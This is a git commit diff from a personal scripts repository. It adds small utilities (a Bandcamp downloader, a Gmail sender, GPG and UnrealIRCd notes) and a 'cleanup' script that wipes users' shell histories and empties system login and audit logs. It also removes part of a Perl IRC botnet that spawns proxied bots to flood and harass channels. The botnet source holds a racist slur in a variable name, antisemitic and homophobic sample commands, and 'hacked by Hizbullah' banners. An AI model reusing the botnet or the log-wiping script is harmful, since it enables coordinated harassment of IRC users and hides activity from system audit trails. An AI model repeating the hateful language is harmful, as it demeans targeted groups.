mirror of
git://git.acid.vegas/random.git
synced 2024-12-04 21:46:40 +00:00
CHICKEN CHICKEN CHICKEN CHICKEN CHICKEN
This commit is contained in:
parent
4a370e92de
commit
b70eb61c29
@ -34,7 +34,7 @@ ${YELLOW}Type ${BGREEN}cmds${YELLOW} to see a list of commands available.${RESET
|
|||||||
}
|
}
|
||||||
|
|
||||||
setup_user() {
|
setup_user() {
|
||||||
sudo useradd -m -G ssh -s /bin/bash $1
|
sudo useradd -m -s /bin/bash $1
|
||||||
mkdir /home/$1/.scripts
|
mkdir /home/$1/.scripts
|
||||||
wget -O /home/$1/.bashrc https://git.supernets.org/acidvegas/acidbox/blob/master/files/.bashrc
|
wget -O /home/$1/.bashrc https://git.supernets.org/acidvegas/acidbox/blob/master/files/.bashrc
|
||||||
wget -O /home/$1/.scripts/cmds https://git.supernets.org/acidvegas/acidbox/blob/master/files/cmds
|
wget -O /home/$1/.scripts/cmds https://git.supernets.org/acidvegas/acidbox/blob/master/files/cmds
|
||||||
|
10
bandcamp.py
Normal file
10
bandcamp.py
Normal file
@ -0,0 +1,10 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
import re,sys,urllib.request
|
||||||
|
if len(sys.argv)!=2:raise SystemExit('error: invalid arguments')
|
||||||
|
source=urllib.request.urlopen(f'https://{sys.argv[1]}.bandcamp.com/music').read().decode('utf-8')
|
||||||
|
for album in re.compile('<a href="/album/(.*?)">').findall(source):
|
||||||
|
print(f'found album "{album}"')
|
||||||
|
source=urllib.request.urlopen(f'http://downloadbandcamp.com/{sys.argv[1]}.bandcamp.com/album/{album}').read().decode('utf-8')
|
||||||
|
for song in re.findall('(https?://t4\S+).*download="(.*?)"',source):
|
||||||
|
print(f'downloading "{song[1]}"')
|
||||||
|
urllib.request.urlretrieve(song[0][:-1],song[1])
|
12
cleanup
Executable file
12
cleanup
Executable file
@ -0,0 +1,12 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
clear_history() {
|
||||||
|
for USERHOME in /home/*/; do
|
||||||
|
for f in .config/cmus/command-history .config/cmus/search-history bash_history history lesshst mysql_history nano_history python_history recently-used ssh/known_hosts wget-hsts wpa_cli_history; do
|
||||||
|
[ -f $USERHOME/.$f ] && rm $USERHOME/.bash_history
|
||||||
|
done
|
||||||
|
done
|
||||||
|
for f in btmp faillog journal lastlog syslog wtmp; do
|
||||||
|
[ -f /var/log/$f ] && >/var/log/$f
|
||||||
|
done
|
||||||
|
journalctl --vacuum-size=1B
|
||||||
|
}
|
@ -4,6 +4,9 @@
|
|||||||
'''
|
'''
|
||||||
Requirements:
|
Requirements:
|
||||||
Tweepy (http://pypi.python.org/pypi/tweepy)
|
Tweepy (http://pypi.python.org/pypi/tweepy)
|
||||||
|
|
||||||
|
Todo:
|
||||||
|
Fuck tweepy, convert this shit to pure python, no 3rd party libs. Oh wait I hardly ever use Twatter...
|
||||||
'''
|
'''
|
||||||
|
|
||||||
import sys
|
import sys
|
||||||
|
6
cmus-now
Executable file
6
cmus-now
Executable file
@ -0,0 +1,6 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
if ps -C cmus > /dev/null; then
|
||||||
|
artist=`cmus-remote -Q | grep --text '^tag artist' | sed '/^tag artistsort/d' | awk '{gsub("tag artist ", "");print}'`
|
||||||
|
title=`cmus-remote -Q | grep --text '^tag title' | sed -e 's/tag title //' | awk '{gsub("tag title ", "");print}'`
|
||||||
|
notify-send "Now Playing: $artist - $title"
|
||||||
|
fi
|
@ -3,6 +3,7 @@
|
|||||||
|
|
||||||
'''
|
'''
|
||||||
Random script to parse all the countries, states, cities, & sections/sub-sections on CraigsList
|
Random script to parse all the countries, states, cities, & sections/sub-sections on CraigsList
|
||||||
|
Dont know what I am doing with this yet...
|
||||||
'''
|
'''
|
||||||
|
|
||||||
import re, time, urllib.request
|
import re, time, urllib.request
|
||||||
|
50
docs/gpg.md
50
docs/gpg.md
@ -1,40 +1,30 @@
|
|||||||
# GPG Cheat Sheet
|
# GPG Cheat Sheet
|
||||||
|
|
||||||
## Create a key
|
## Create a key
|
||||||
`gpg --expert --full-generate-key`
|
* `gpg --expert --full-generate-key`
|
||||||
* RSA (set your own capabilities)
|
* RSA (set your own capabilities)
|
||||||
* Set to Certify only.
|
* Set to Certify only
|
||||||
* 4096
|
* 4096
|
||||||
* 2020-01-01
|
* 2020-01-01
|
||||||
|
* `gpg --expert --edit-key <userid>`
|
||||||
`gpg --expert --edit-key <userid>`
|
* `addkey` (Create 3, one for sign, encrypt, authenticate)
|
||||||
* `addkey` (Create 3, one for sign, encrypt, authenticate)
|
* `addphoto` *(240x288)*
|
||||||
* `adduid`
|
* `save`
|
||||||
* `save`
|
* `quit`
|
||||||
|
* `gpg -a --output revoke.asc --gen-revoke '<fingerprint>'`
|
||||||
|
|
||||||
## Backup key
|
## Backup key
|
||||||
* `mv ~/.gnupg/secring.gpg ~/.backup/gpg/`
|
* `gpg -a --export-secret-key <userid> > secret_key.gpg`
|
||||||
* `mv ~/.gnupg/pubring.gpg ~/.backup/gpg/`
|
|
||||||
* `gpg -a --export-secret-key <userid> > secret_key.gpg`
|
|
||||||
* `gpg -a --export-secret-subkeys <userid> > secret_subkeys.gpg`
|
* `gpg -a --export-secret-subkeys <userid> > secret_subkeys.gpg`
|
||||||
* `gpg --delete-secret-keys <userid>`
|
* `gpg --delete-secret-keys <userid>`
|
||||||
* `gpg --import secret_subkeys.gpg`
|
* `gpg --import secret_subkeys.gpg`
|
||||||
* `gpg --list-secret-keys`
|
* `gpg --list-secret-keys`
|
||||||
* `rm secret_subkeys.gpg`
|
* `gpg --edit-key <KEYID>` *(type `trust` and press `5`)*
|
||||||
|
|
||||||
## Revoke cert
|
|
||||||
* `gpg -a --output revoke.asc --gen-revoke '<fingerprint>'`
|
|
||||||
|
|
||||||
## Import/Export public key
|
## Import/Export public key
|
||||||
* `gpg --import public.key`
|
* `gpg --import public.key`
|
||||||
* `gpg --output public.key --armor --export <userid>`
|
* `gpg --output public.key --armor --export <userid>`
|
||||||
|
|
||||||
## Import/Export private key
|
|
||||||
* `gpg --export-secret-keys --armor <userid> > privkey.asc`
|
* `gpg --export-secret-keys --armor <userid> > privkey.asc`
|
||||||
* `gpg --import privkey.asc`
|
|
||||||
|
|
||||||
## Edit keys
|
|
||||||
* `gpg --edit-key <userid>`
|
|
||||||
|
|
||||||
## List (secret) keys
|
## List (secret) keys
|
||||||
* `gpg --list-keys`
|
* `gpg --list-keys`
|
||||||
@ -55,18 +45,14 @@ or...
|
|||||||
* `gpg --output doc.sig --detach-sig doc`
|
* `gpg --output doc.sig --detach-sig doc`
|
||||||
|
|
||||||
## Verify
|
## Verify
|
||||||
* `gpg --verify doc.sig`
|
* `gpg --verify example.sig`
|
||||||
* `gpg --verify archlinux-version.iso.sig`
|
* `gpg --verify example.sig /path/to/example.iso`
|
||||||
* `gpg --verify archlinux-version.iso.sig /path/to/archlinux-version.iso`
|
|
||||||
* `gpg --with-fingerprint <keyfile>`
|
* `gpg --with-fingerprint <keyfile>`
|
||||||
|
|
||||||
## Send keys
|
## Send keys
|
||||||
* `gpg --send-keys <userid>`
|
* `gpg --keyserver <keyserver> --send-keys <user-id>`
|
||||||
* `gpg --refresh-keys`
|
* `gpg --recv-key '<fingerprint> && gpg --fingerprint '<fingerprint>'`
|
||||||
|
* `gpg --search-keys '<userid>'`
|
||||||
## Get keys
|
|
||||||
* `gpg --recv-key '<fingerprint>'`
|
|
||||||
* `gpg --fingerprint '<fingerprint>'`
|
|
||||||
|
|
||||||
## Sign key
|
## Sign key
|
||||||
* `gpg --lsign-key '<fingerprint>'`
|
* `gpg --lsign-key '<fingerprint>'`
|
||||||
|
134
docs/unreal.md
Normal file
134
docs/unreal.md
Normal file
@ -0,0 +1,134 @@
|
|||||||
|
# Modes
|
||||||
|
|
||||||
|
#### User Modes
|
||||||
|
| Mode | Description | Restriction |
|
||||||
|
| ---- | -------------------------------------------------------------------- | --------------- |
|
||||||
|
| B | marks you as being a bot in WHOIS | |
|
||||||
|
| d | can only see messages prefixed with `!@$. | |
|
||||||
|
| D | can only receive private messages from operators, servers & services | |
|
||||||
|
| H | hide operator status in WHOIS | oper-only |
|
||||||
|
| I | hide online time in WHOIS | oper-only |
|
||||||
|
| i | hidden from WHO & NAMES if queried from outside the channel | |
|
||||||
|
| o | network operator | set by server |
|
||||||
|
| p | hide your channels in WHOIS | |
|
||||||
|
| q | unkickable | oper-only |
|
||||||
|
| r | registered nick | set by services |
|
||||||
|
| R | can only receive private messages from registered users | |
|
||||||
|
| S | services bot | services-only |
|
||||||
|
| s | receive server notices | oper-only |
|
||||||
|
| T | can not recieve CTCPs | |
|
||||||
|
| t | indicates using a vhost | set by server |
|
||||||
|
| w | receive wallops messages | |
|
||||||
|
| x | hidden cloaked hostname | |
|
||||||
|
| Z | can only send/receive private messages with ssl/tls users | |
|
||||||
|
| z | indicates connected via ssl/tls | set by server |
|
||||||
|
|
||||||
|
#### Channel Modes
|
||||||
|
###### Access Levels
|
||||||
|
| Mode | Description | Restriction |
|
||||||
|
| ---- | -------------------------------------------------------- | --------------- |
|
||||||
|
| v | voice - able to speak in +m/+M channels | +h |
|
||||||
|
| h | halfop - has most of the privledges as op | +o |
|
||||||
|
| o | op - full privledges | +o |
|
||||||
|
| a | admin - same as op except can not be kick by +ho users | +q |
|
||||||
|
| q | owner - same as op except can not be kick by +hoa users | set by services |
|
||||||
|
|
||||||
|
###### List Modes
|
||||||
|
| Mode | Description | Restriction |
|
||||||
|
| ---- | --------------------- | ----------- |
|
||||||
|
| b | ban user from channel | +h |
|
||||||
|
| e | ban exemption | +h |
|
||||||
|
| I | invite exemption | +h |
|
||||||
|
|
||||||
|
###### Settings
|
||||||
|
| Mode | Description | Restriction |
|
||||||
|
| ---- | ------------------------------------------------------ | --------------- |
|
||||||
|
| c | no color | +o |
|
||||||
|
| C | no ctcp | +o |
|
||||||
|
| D | delay JOIN messages until they speak | +o |
|
||||||
|
| d | indicates hidden users after unsetting +D | set by server |
|
||||||
|
| f | flood protection see below | +o |
|
||||||
|
| G | enable word filters | +o |
|
||||||
|
| H | channel history | +o |
|
||||||
|
| i | requires people to be /INVITE'd to the channel | +o |
|
||||||
|
| k | users must specify a channel key in order to join | +h |
|
||||||
|
| K | /KNOCK command is not allowed | +o |
|
||||||
|
| L | users who cant join are be redirected to this channel | +o |
|
||||||
|
| l | limit the amount of users that may be in the channel | +o |
|
||||||
|
| m | only people with +v or higher (+vhoaq) may speak | +h |
|
||||||
|
| M | must be authenticated or have +v to speak | +o |
|
||||||
|
| N | no nick-changes permitted | +o |
|
||||||
|
| n | no external messages | +h |
|
||||||
|
| O | operator only channel | oper-only |
|
||||||
|
| P | permanent channel | oper-only |
|
||||||
|
| p | private channel | +o |
|
||||||
|
| Q | no /KICK allowed. Can use services for kicking | +o |
|
||||||
|
| R | only registered users may join | +o |
|
||||||
|
| r | channel is registered | set by services |
|
||||||
|
| s | channel hidden from /LIST and /WHOIS | +o |
|
||||||
|
| S | strip color codes | +o |
|
||||||
|
| T | channel notices are not permitted | +o |
|
||||||
|
| t | restricts /TOPIC to +h or higher | +h |
|
||||||
|
| V | can not invite users to channel | +o |
|
||||||
|
| z | only allow SSL/TLS users to join | +o |
|
||||||
|
| Z | indicates all users connected via SSL/TLS when +z | set by server |
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
NOT FINISHED BELOW THIS LINE YADDA YADDA YA
|
||||||
|
|
||||||
|
###### Mode f
|
||||||
|
|
||||||
|
###### Extended Bands
|
||||||
|
H max-lines-to-record:max-time-to-record-in-minutes
|
||||||
|
server-time cap
|
||||||
|
|
||||||
|
|
||||||
|
c CTCPs Set channel mode +C (block all CTCP's) m, M
|
||||||
|
j joins Set channel mode +i (invite only) R
|
||||||
|
k knocks Set channel mode +K (no /knock's) Counted for local clients only
|
||||||
|
m messages/notices Set channel mode +m (regular users cannot speak) M
|
||||||
|
n nick changes Set channel mode +N (no nick-changes permitted)
|
||||||
|
t text Kick the user b Unlike all the rest, these are per-user message/notice limits. Action is to kick or kick+ban the user.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
t extbans/timedban Timed ban that will make a ban unset after the specified number of minutes. +b ~t:3:*!*@hostname
|
||||||
|
|
||||||
|
The following ban types specify which actions (join, nick-change or speaking) are affected by a ban:
|
||||||
|
Extban Module Explanation Example
|
||||||
|
q extbans/quiet People matching these bans can join but are unable to speak, unless they have +v or higher. +b ~q:*!*@*.blah.com
|
||||||
|
n extbans/nickchange People matching these bans cannot change nicks, unless they have +v or higher. +b ~n:*!*@*.aol.com
|
||||||
|
j extbans/join When a user matches this (s)he may not join the channel but if already in the channel then all activities are permitted such as speaking or changing the nick. This can be useful to ban an entire ISP and then manually /INVITE people to the channel so once joined they can behave as normal. +b ~j:*!*@*.aol.com
|
||||||
|
f chanmodes/link Forward user to another channel if matching mask. +b ~f:#badispchannel:*!*@*.isp.com
|
||||||
|
m extbans/msgbypass Bypass message restrictions. This extended ban is only available as +e and not as +b. Syntax: +e ~m:type:mask.
|
||||||
|
|
||||||
|
Valid types are: external (bypass +n), moderated (bypass +m/+M), censor (bypass +G), color (bypass +S/+c) and notice (bypass +T).
|
||||||
|
+e ~m:moderated:*!*@192.168.*
|
||||||
|
|
||||||
|
+e ~m:external:*!*@192.168.*
|
||||||
|
+e ~m:color:~a:ColorBot
|
||||||
|
|
||||||
|
These bantypes introduce new criteria which can be used:
|
||||||
|
Extban Module Explanation Example
|
||||||
|
a extbans/account If a user is logged in to services with this account name, then this ban will match. This is slightly different than ~R, in the sense that a user with nick ABC may be logged in under account XYZ. Not all services packages support this, in which case you will have to use ~R instead. +e ~a:SomeAccount
|
||||||
|
|
||||||
|
+I ~a:SomeAccount
|
||||||
|
c extbans/inchannel If the user is in this channel then (s)he is unable to join. A prefix can also be specified (+/%/@/&/~) which means that it will only match if the user has that rights or higher on the specified channel. +b ~c:#lamers
|
||||||
|
|
||||||
|
+e ~c:@#trustedops
|
||||||
|
O extbans/operclass If the user is an IRCOp and the oper::operclass matches this name then the ban/invex will match. You can use this to for example create *admin* only channels. +iI ~O:*admin*
|
||||||
|
r extbans/realname If the realname (gecos) of a user matches this then (s)he is unable to join. Since real names may contain spaces you can use a underscore to match a space (and underscore) +b ~r:*Stupid_bot_script*
|
||||||
|
S extbans/certfp When a user is using SSL/TLS with a client certificate then you can match the user by his/her SSL fingerprint (the one you see in /WHOIS). Useful for ban exemptions (+e) and invite exceptions (+I). +e ~S:0000000etc
|
||||||
|
|
||||||
|
+I ~S:0000000etc
|
||||||
|
T extbans/textban Channel-specific text filtering. Supports two actions: 'censor' and 'block', see examples on the right. +b ~T:censor:*badword*
|
||||||
|
|
||||||
|
|
||||||
|
https://www.unrealircd.org/docs/User_%26_Oper_commands
|
@ -2,6 +2,7 @@
|
|||||||
[ ! getent group ssh ] && groupadd ssh
|
[ ! getent group ssh ] && groupadd ssh
|
||||||
[ ! grep -q /usr/bin/git-shell /etc/shells ] && echo /usr/bin/git-shell >> /etc/shells
|
[ ! grep -q /usr/bin/git-shell /etc/shells ] && echo /usr/bin/git-shell >> /etc/shells
|
||||||
[ ! $(getent passwd git > /dev/null) ] && userdel -f git
|
[ ! $(getent passwd git > /dev/null) ] && userdel -f git
|
||||||
|
[ ! -d /srv/git ] && mkdir /srv/git
|
||||||
useradd -d /srv/git -G ssh -k /dev/null -m -s /usr/bin/git-shell -U git
|
useradd -d /srv/git -G ssh -k /dev/null -m -s /usr/bin/git-shell -U git
|
||||||
echo "PUBLICKEY" > /etc/ssh/authorized_keys/git
|
echo "PUBLICKEY" > /etc/ssh/authorized_keys/git
|
||||||
mkdir "$1.git" && cd "$1.git" && git -C "$1.git" --bare init chown -R git:git "$1.git"
|
mkdir /srv/git/$1.git && git -C /srv/git/$1.git --bare init && chown -R git:git /srv/git/$1.git
|
5
gmail.py
Normal file
5
gmail.py
Normal file
@ -0,0 +1,5 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
import smtplib,sys
|
||||||
|
with smtplib.SMTP_SSL('smtp.gmail.com',465) as server:
|
||||||
|
server.login('username@gmail.com','password')
|
||||||
|
server.sendmail('username@gmail.com','target@mail.com',' '.join(sys.argv[1:]))
|
@ -1,577 +0,0 @@
|
|||||||
#!/usr/bin/perl
|
|
||||||
#
|
|
||||||
#
|
|
||||||
|
|
||||||
# {{{ original copyrights & info
|
|
||||||
|
|
||||||
# This is proxysuite, written in GNU/PURL
|
|
||||||
# by Jmax, of bantown and the GNAA.
|
|
||||||
# It gathers and tests proxies, both http and socks4
|
|
||||||
|
|
||||||
# This product is licensed under the BPL.
|
|
||||||
# You should have recieved a copy of the
|
|
||||||
# license with this program
|
|
||||||
|
|
||||||
# el8 tr0ll c0dez by Jmax [ BANTOWN irc.bantown.com #bantown ] [ GNAA irc.gnaa.us #gnaa ]
|
|
||||||
|
|
||||||
|
|
||||||
# ASIAN 2.0 by Jmax
|
|
||||||
#
|
|
||||||
# I have made many modifications:
|
|
||||||
# - Use of command line arguments as opposed to editing the script itself.
|
|
||||||
# - Adding a SOCKS routine, instead of using Net::SOCKS (no non-standard modules will be required)
|
|
||||||
# - Adding a random nick/fullname/ircname routine, instead of using Crypt::RandPasswd (no non-standard modules will be required)
|
|
||||||
# - Improved fork routine/library
|
|
||||||
|
|
||||||
# Must be run on a POSIX-compliant system, with perl.
|
|
||||||
# note that there's a bug in the way that COMPUTER MACHINEZ COMPUTE,
|
|
||||||
# and therefore proxies can't be shared between forks. Oh well.
|
|
||||||
|
|
||||||
# The original header (for historical reasons)
|
|
||||||
# is as follows (NOTE: syntax here is _incorrect_):
|
|
||||||
# -----------------------------------------------
|
|
||||||
# ASIAN by Rucas
|
|
||||||
# Automated Synchronous IRC Assault Network
|
|
||||||
# Based on AYSYN by mef
|
|
||||||
#
|
|
||||||
# Make sure to put a SOCKS5 proxy list in proxies.txt in the same
|
|
||||||
# directory as this script. If you'd like to use tor, you can put
|
|
||||||
# the correct info on one line in proxies.txt and this app will
|
|
||||||
# still function properly (although generally tor sucks)
|
|
||||||
#
|
|
||||||
# All bots join $g_channel and are issued raw irc commands from there
|
|
||||||
# using syntax "all PRIVMSG Rucas lol you fail it" for all bots or
|
|
||||||
# "botname PRIVMSG Rucas lol failure" and such.
|
|
||||||
#
|
|
||||||
# Testing of an early version of this script is the reason that
|
|
||||||
# Freenode now checks for open SOCKS proxies.
|
|
||||||
# -----------------------------------------------
|
|
||||||
|
|
||||||
# }}}
|
|
||||||
|
|
||||||
use warnings;
|
|
||||||
use strict;
|
|
||||||
|
|
||||||
use IO::Socket;
|
|
||||||
use IO::Handle;
|
|
||||||
use POSIX qw(:signal_h :sys_wait_h); # fork
|
|
||||||
|
|
||||||
use Time::HiRes;
|
|
||||||
# use Data::Dumper;
|
|
||||||
|
|
||||||
use vars qw($VERSION);
|
|
||||||
$VERSION = "3.0";
|
|
||||||
|
|
||||||
|
|
||||||
# {{{ globals
|
|
||||||
|
|
||||||
my ($g_forkcount, $g_pid) = (0, undef);
|
|
||||||
my ($g_dead_nigger_storage, $g_maxfork) = (0, 40);
|
|
||||||
|
|
||||||
my ($g_network, $g_channel);
|
|
||||||
|
|
||||||
# }}}
|
|
||||||
|
|
||||||
# {{{ signal handlers
|
|
||||||
|
|
||||||
$SIG{INT} = sub { kill('INT', (getpgrp(0) * -1)) && exit; };
|
|
||||||
$SIG{CHLD} = sub { $g_dead_nigger_storage++ while(($g_pid = waitpid(-1, WNOHANG)) > 0); };
|
|
||||||
|
|
||||||
# }}}
|
|
||||||
|
|
||||||
|
|
||||||
# {{{ entry point
|
|
||||||
|
|
||||||
error("please run using the --help argument") unless $ARGV[0];
|
|
||||||
if ($ARGV[0] eq '--help') {
|
|
||||||
show_usage(); exit 0;
|
|
||||||
} elsif ($ARGV[0] eq '--version') {
|
|
||||||
show_version(); exit 0;
|
|
||||||
} else {
|
|
||||||
error("please run using the --help argument") unless $ARGV[1];
|
|
||||||
$g_network = $ARGV[0];
|
|
||||||
$g_channel = $ARGV[1];
|
|
||||||
}
|
|
||||||
|
|
||||||
# }}}
|
|
||||||
|
|
||||||
# {{{ help/usage information
|
|
||||||
|
|
||||||
sub show_help {
|
|
||||||
print "arab $VERSION by vxp\n".
|
|
||||||
"!!! THIS ASIAN 2.1 BY JMAX HACKED BY HIZBULLAH !!!\n".
|
|
||||||
"!!! STOP SUPPORTING ISRAELI DOGS !!!\n".
|
|
||||||
"Based on code & ideas by Jmax, Rucas, abez and mef.\n".
|
|
||||||
"\n".
|
|
||||||
"\n".
|
|
||||||
" Invocation:\n".
|
|
||||||
" perl ".__FILE__." server \"#channel\"\n".
|
|
||||||
"\n".
|
|
||||||
" XXX, and \"#channel\" is the control channel you want the bots\n".
|
|
||||||
" to join. Please note that some shells will interpret the # in\n".
|
|
||||||
" \"#channel\" as acomment, and will not send it to the script.\n".
|
|
||||||
" In this case, you may either use quotes, or escape the '#'.\n".
|
|
||||||
" I prefer quotes.\n".
|
|
||||||
" Note that a list of (nick|user|real) names is expected to reside\n".
|
|
||||||
" in ./names.txt\n".
|
|
||||||
"\n".
|
|
||||||
"\n".
|
|
||||||
" Usage:\n".
|
|
||||||
" all <raw IRC command> [space-delimited arguments] :[arguments with spaces]\n".
|
|
||||||
" <botname> <raw IRC command> [space-delimited arguments] :[arguments with spaces]\n".
|
|
||||||
" <botname>,<botname2>,... <raw IRC command> [space-delimited arguments] :[arguments with spaces]\n".
|
|
||||||
"\n".
|
|
||||||
" Simply privmsg your command to the control channel, and the respective bots will follow.\n".
|
|
||||||
"\n".
|
|
||||||
" Examples:\n".
|
|
||||||
" <~supers> all join #gnaa gnaa\n".
|
|
||||||
" All bots will join #gnaa using the key 'gnaa'\n".
|
|
||||||
" <~supers> all privmsg #gnaa :LOL HY LOL HY\n".
|
|
||||||
" All bots will say \"LOL HY LOL HY\" in #gnaa\n".
|
|
||||||
" <\@Rucas> fgtbot2235 nick NOT_FGT_LOL_GIMME_VOICE\n".
|
|
||||||
" The bot with the nick 'fgtbot2235' will change its nick to 'NOT_FGT_LOL_GIMME_VOICE'\n".
|
|
||||||
" <\@Jmax> NOT_FGT_LOL_GIMME_VOICE,dongs,loljews,nullo_is_a_fag_LOL part #gnaa :lol jews\n".
|
|
||||||
" The bots with the nicks 'NOT_FGT_LOL_GIMME_VOICE', 'dongs', 'loljews', and 'nullo_is_a_fag_LOL'\n".
|
|
||||||
" will part #gnaa with reason 'lol jews'\n".
|
|
||||||
"\n".
|
|
||||||
"\n".
|
|
||||||
" Enjoy. -- vxp\n";
|
|
||||||
}
|
|
||||||
|
|
||||||
# }}}
|
|
||||||
|
|
||||||
# {{{ version information
|
|
||||||
|
|
||||||
sub show_version {
|
|
||||||
print "arab $VERSION by vxp\n".
|
|
||||||
"!!! THIS ASIAN 2.1 BY JMAX HACKED BY HIZBULLAH !!!\n".
|
|
||||||
"!!! STOP SUPPORTING ISRAELI DOGS !!!\n".
|
|
||||||
"Based on code & ideas by Jmax, Rucas, abez and mef.\n".
|
|
||||||
"\n";
|
|
||||||
}
|
|
||||||
|
|
||||||
# }}}
|
|
||||||
|
|
||||||
|
|
||||||
# load the proxy and name list(s)
|
|
||||||
my @g_proxies = load_proxy_list();
|
|
||||||
my @g_names = load_name_list();
|
|
||||||
|
|
||||||
|
|
||||||
# resolve the host name of the specified target ircd
|
|
||||||
# and cache it in a shared variable
|
|
||||||
my ($g_server_host, @g_server_ip);
|
|
||||||
$g_server_host = $ARGV[0];
|
|
||||||
@g_server_ip = resolve($g_server_host);
|
|
||||||
|
|
||||||
|
|
||||||
# fork(2) off up to $g_maxfork child processes to use as
|
|
||||||
# a pool for subsequent connection attempts
|
|
||||||
notice("Initializing (forking) bots");
|
|
||||||
for ($g_forkcount = 0; # $g_forkcount must _not_
|
|
||||||
$g_forkcount < $g_maxfork; # be local to here
|
|
||||||
$g_forkcount++) {
|
|
||||||
sleep 1; # so we don't overload ourselves
|
|
||||||
|
|
||||||
if (!defined(my $g_pid = fork())) { # fork
|
|
||||||
error("couldn't fork: $!"); # die if fork fails
|
|
||||||
} elsif ($g_pid == 0) {
|
|
||||||
# in child:
|
|
||||||
while (@g_proxies) {
|
|
||||||
# grab a random proxy off the list...
|
|
||||||
my $proxy_slot = int rand @g_proxies;
|
|
||||||
my $proxy = $g_proxies[$proxy_slot];
|
|
||||||
|
|
||||||
# ...attempt to establish a connection through it and
|
|
||||||
# join a drone into the control channel on success.
|
|
||||||
if(spawn_bot($proxy->{ip}, $proxy->{port}, $proxy->{type},
|
|
||||||
@g_server_ip, $g_server_host)) {
|
|
||||||
# succeeded
|
|
||||||
} else {
|
|
||||||
# failed, delete proxy
|
|
||||||
# XXX: not shared
|
|
||||||
#delete $g_proxies[$proxy_slot];
|
|
||||||
};
|
|
||||||
|
|
||||||
sleep 10; # to prevent throttling by IRCd
|
|
||||||
}
|
|
||||||
exit 0;
|
|
||||||
|
|
||||||
} else {
|
|
||||||
# in parent:
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sleep while ($g_dead_nigger_storage < $g_maxfork);
|
|
||||||
exit 666;
|
|
||||||
|
|
||||||
|
|
||||||
# {{{ load lists
|
|
||||||
|
|
||||||
sub load_proxy_list {
|
|
||||||
my (@proxies);
|
|
||||||
|
|
||||||
error("$@") unless push @proxies, load_socks4_list();
|
|
||||||
error("$@") unless push @proxies, load_socks5_list();
|
|
||||||
error("$@") unless push @proxies, load_http_list();
|
|
||||||
return @proxies;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub load_socks4_list {
|
|
||||||
my (@proxies);
|
|
||||||
|
|
||||||
open SOCKSFILE, "<", "./socks4.txt" or error("could not open SOCKS 4 proxy file socks4.txt: $!");
|
|
||||||
while (<SOCKSFILE>) {
|
|
||||||
chomp;
|
|
||||||
my ($ip, $port) = /([^:]+):([0-9]+)/;
|
|
||||||
push @proxies, ({ip => $ip, port => $port, type => '4'});
|
|
||||||
}
|
|
||||||
close(SOCKSFILE) or error("could not close SOCKS 4 proxy file socks4.txt: $!");
|
|
||||||
|
|
||||||
notice("acquired ". scalar(@proxies) ." SOCKS 4 prox(y|ies).");
|
|
||||||
return (@proxies);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub load_socks5_list {
|
|
||||||
my (@proxies);
|
|
||||||
|
|
||||||
open SOCKSFILE, "<", "./socks5.txt" or error("could not open SOCKS 5 proxy file socks5.txt: $!");
|
|
||||||
while (<SOCKSFILE>) {
|
|
||||||
chomp;
|
|
||||||
my ($ip, $port) = /([^:]+):([0-9]+)/;
|
|
||||||
push @proxies, ({ip => $ip, port => $port, type => '5'});
|
|
||||||
}
|
|
||||||
close(SOCKSFILE) or error("could not close SOCKS 5 proxy file socks5.txt: $!");
|
|
||||||
|
|
||||||
notice("acquired ". scalar(@proxies) ." SOCKS 5 prox(y|ies).");
|
|
||||||
return (@proxies);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub load_http_list {
|
|
||||||
my (@proxies);
|
|
||||||
|
|
||||||
open HTTPFILE, "<", "./http.txt" or error("could not open HTTP proxy file http.txt: $!");
|
|
||||||
while (<HTTPFILE>) {
|
|
||||||
chomp;
|
|
||||||
my ($ip, $port) = /([^:]+):([0-9]+)/;
|
|
||||||
push @proxies, ({ip => $ip, port => $port, type => 'h'});
|
|
||||||
}
|
|
||||||
close(HTTPFILE) or error("could not close HTTP proxy file http.txt: $!");
|
|
||||||
|
|
||||||
notice("acquired ". scalar(@proxies) ." http prox(y|ies).");
|
|
||||||
return (@proxies);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub load_name_list {
|
|
||||||
my (@names);
|
|
||||||
|
|
||||||
open NAMESFILE, "<", "./names.txt" or error("could not open (nick|user|real) name list file names.txt: $!");
|
|
||||||
while (<NAMESFILE>) {
|
|
||||||
chomp;
|
|
||||||
push @names, $_;
|
|
||||||
};
|
|
||||||
close(NAMESFILE) or error("could not close (nick|user|real) name list file names.txt: $!");
|
|
||||||
|
|
||||||
notice("acquired ". scalar(@names) ." (nick|user|real) name(|s).");
|
|
||||||
return (@names);
|
|
||||||
}
|
|
||||||
|
|
||||||
# }}}
|
|
||||||
|
|
||||||
# {{{ wrappers/tools
|
|
||||||
|
|
||||||
sub iptoipstr {
|
|
||||||
my ($ip) = $_;
|
|
||||||
my $d = $ip % 256; $ip -= $d; $ip /= 256;
|
|
||||||
my $c = $ip % 256; $ip -= $c; $ip /= 256;
|
|
||||||
my $b = $ip % 256; $ip -= $b; $ip /= 256;
|
|
||||||
my $a = $ip;
|
|
||||||
my $ipstr = "$a.$b.$c.$d";
|
|
||||||
return $ipstr;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub notice {
|
|
||||||
my $notice = shift;
|
|
||||||
print ">>>> ". $notice ."\n";
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub incoming {
|
|
||||||
my ($nick, $line, $server) = @_;
|
|
||||||
#printf("IRCd >>>> %-12s ] %s\n", $nick, $line);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub outgoing {
|
|
||||||
my ($nick, $line, $server) = @_;
|
|
||||||
#printf("IRCd <<<< %-12s ] %s\n", $nick, $line);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub warning {
|
|
||||||
my $warning = shift;
|
|
||||||
print "!!!! ". $warning ."\n";
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub error {
|
|
||||||
my $error = shift;
|
|
||||||
print "!!!! ". $error ."\n";
|
|
||||||
